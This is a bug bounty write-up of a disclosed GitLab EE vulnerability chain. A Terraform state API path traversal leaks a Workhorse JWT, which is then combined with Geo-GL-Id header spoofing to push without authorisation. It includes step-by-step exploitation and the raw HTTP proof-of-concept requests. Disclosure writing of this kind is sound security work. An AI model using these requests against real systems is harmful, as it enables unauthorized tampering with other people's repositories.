# Exposure of a valid Gitlab-Workhorse JWT leading to various bad things

Path traversal in Terraform state API leaks the Workhorse upload JWT, which combined with Geo-GL-Id header spoofing allows unauthorized git push to any readable repo.

- Payout: $10,000
- Severity: high
- Program: GitLab
- Found by: ledz1996
- Disclosed: 2022-07-05
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1040786
- Library page: https://bugbountylibrary.com/r/h1%3A1040786
- Tags: area:web domain:api domain:web impact:integrity impact:privesc kind:bounty platform:hackerone sev:high tech:ruby technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal vuln:secrets-leak

**Target:** GitLab EE Terraform state API and Geo push_from_secondary endpoint
**Root cause:** Workhorse normalizes the URL before Rails sees it, so a %2e%2e%2f traversal in the terraform state name reaches the wiki attachments upload path; the state API then reads request.body and returns the multipart upload response including the Workhorse JWT. Separately, EE's git_http_controller trusts the Geo-GL-Id header to resolve a user via SSH key id.
**Steps:**
1. Create project, obtain a Personal Access Token.
2. POST /api/v4/projects/<id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1 with multipart body containing import_url and a `mirror` file part.
3. GET /api/v4/projects/<id>/terraform/state/%2e%2e%2f%2e to retrieve the stored multipart response containing `mirror.gitlab-workhorse-upload` JWT.
4. Fork a target public/internal project you cannot push to, clone via HTTP, attempt push and intercept the git-receive-pack request.
5. Rewrite path to `/-/push_from_secondary/2/<project>.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack`, add `Gitlab-Workhorse-Api-Request: <JWT>` and `Geo-GL-Id: key-<id>` (brute-forceable integer).
6. Send the crafted receive-pack body; Gitaly authenticates as the spoofed SSH key owner and accepts the push.
**How found:** Researcher noticed Workhorse cleans the URL before passing to Rails and that the Terraform state API reads request.body to append a file; combined with reading EE git_http_controller code showing geo_push_user resolved from Geo-GL-Id header via SSH key id.
**Exploitation:** Attacker with any PAT uses the traversal to make Workhorse sign an upload JWT, then replays it as Gitlab-Workhorse-Api-Request on the Geo push endpoint while spoofing Geo-GL-Id to impersonate a user with push rights, achieving unauthorized push to a repo they can only read.
**Escalation:** Chained two independent flaws: URL normalization mismatch (Workhorse vs Rails) to leak the JWT, and Geo header trust to bypass Gitaly pre-receive permission checks.
**Insight:** When a reverse proxy normalizes paths but the backend does not (or vice versa), look for endpoints that echo back signed upload tokens or multipart responses — those tokens often bypass auth on other internal endpoints. Also audit EE-only headers like Geo-GL-Id that map directly to user identity.

## Proof of concept (copied exactly from the original report)

**Terraform state path traversal request to expose JWT**

```
POST /api/v4/projects/<project-id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1 HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <private-token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTdc8IV2vpQMwv6jW
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqZzBOVE14T1RWbUxXRTBZalF0TkRBek1pMWhaVGRpTFRNM05tSTBNalExWlRjNVl5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--64479e11c45d9e17bdf950f749ab3fa8b3ee278a; _gitlab_session=b50156c1d05716e1bebbfd448f38b890; known_sign_in=SkJhSDV0MWRqaFAyaFpZQlNCM3Vqbmg5UkxsZ0hyTHVWSlNPanNZT2YxbVQ4M2xvaUxLNkZabE9zeHdZOHlFQnloTWJxWGdPMWtKbUlkV25TNGFHRFFQVDlpdTRtUFpnTnZyd2xCTk5sS2hNRVBmODEvc2RiYVovT2RjTWgzWFQtLTY4ZEl1bXA4ZnVETVFrYnUrZVhaR1E9PQ%3D%3D--34ce6946f382229b6135333906ad3fd10ecbb284; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
Content-Length: 316

------WebKitFormBoundaryTdc8IV2vpQMwv6jW
Content-Disposition: form-data; name="import_url"

http://gitlab3.example.vm/test/ttt
------WebKitFormBoundaryTdc8IV2vpQMwv6jW
Content-Disposition: form-data; name="mirror"; filename=test.txt
Content-Type: image/jpg

true
------WebKitFormBoundaryTdc8IV2vpQMwv6jW--
```

**GET request retrieving stored multipart with Workhorse JWT**

```
GET /api/v4/projects/6/terraform/state/%2e%2e%2f%2e HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <Private-Token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqZzBOVE14T1RWbUxXRTBZalF0TkRBek1pMWhaVGRpTFRNM05tSTBNalExWlRjNVl5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--64479e11c45d9e17bdf950f749ab3fa8b3ee278a; _gitlab_session=b50156c1d05716e1bebbfd448f38b890; known_sign_in=SkJhSDV0MWRqaFAyaFpZQlNCM3Vqbmg5UkxsZ0hyTHVWSlNPanNZT2YxbVQ4M2xvaUxLNkZabE9zeHdZOHlFQnloTWJxWGdPMWtKbUlkV25TNGFHRFFQVDlpdTRtUFpnTnZyd2xCTk5sS2hNRVBmODEvc2RiYVovT2RjTWgzWFQtLTY4ZEl1bXA4ZnVETVFrYnUrZVhaR1E9PQ%3D%3D--34ce6946f382229b6135333906ad3fd10ecbb284; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
```

**Push request with forged Geo-GL-Id and Workhorse JWT**

```
POST /-/push_from_secondary/2/rrr/dsds.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack HTTP/1.1
Host: gitlab3.example.vm
Geo-GL-Id: key-1
User-Agent: git/2.28.0
Accept-Encoding: gzip, deflate
Gitlab-Workhorse-Api-Request: [redacted]
Content-Type: application/x-git-receive-pack-request
Accept: application/x-git-receive-pack-result
Content-Length: 436
Connection: close

00a822cc76ea883341147a10ad83f9994bb9a89d79d9 02c1e26f4d449d265e87e2906933ff0a2a5f275d refs/heads/master report-status side-band-64k object-format=sha1 agent=git/2.28.00000PACK
```

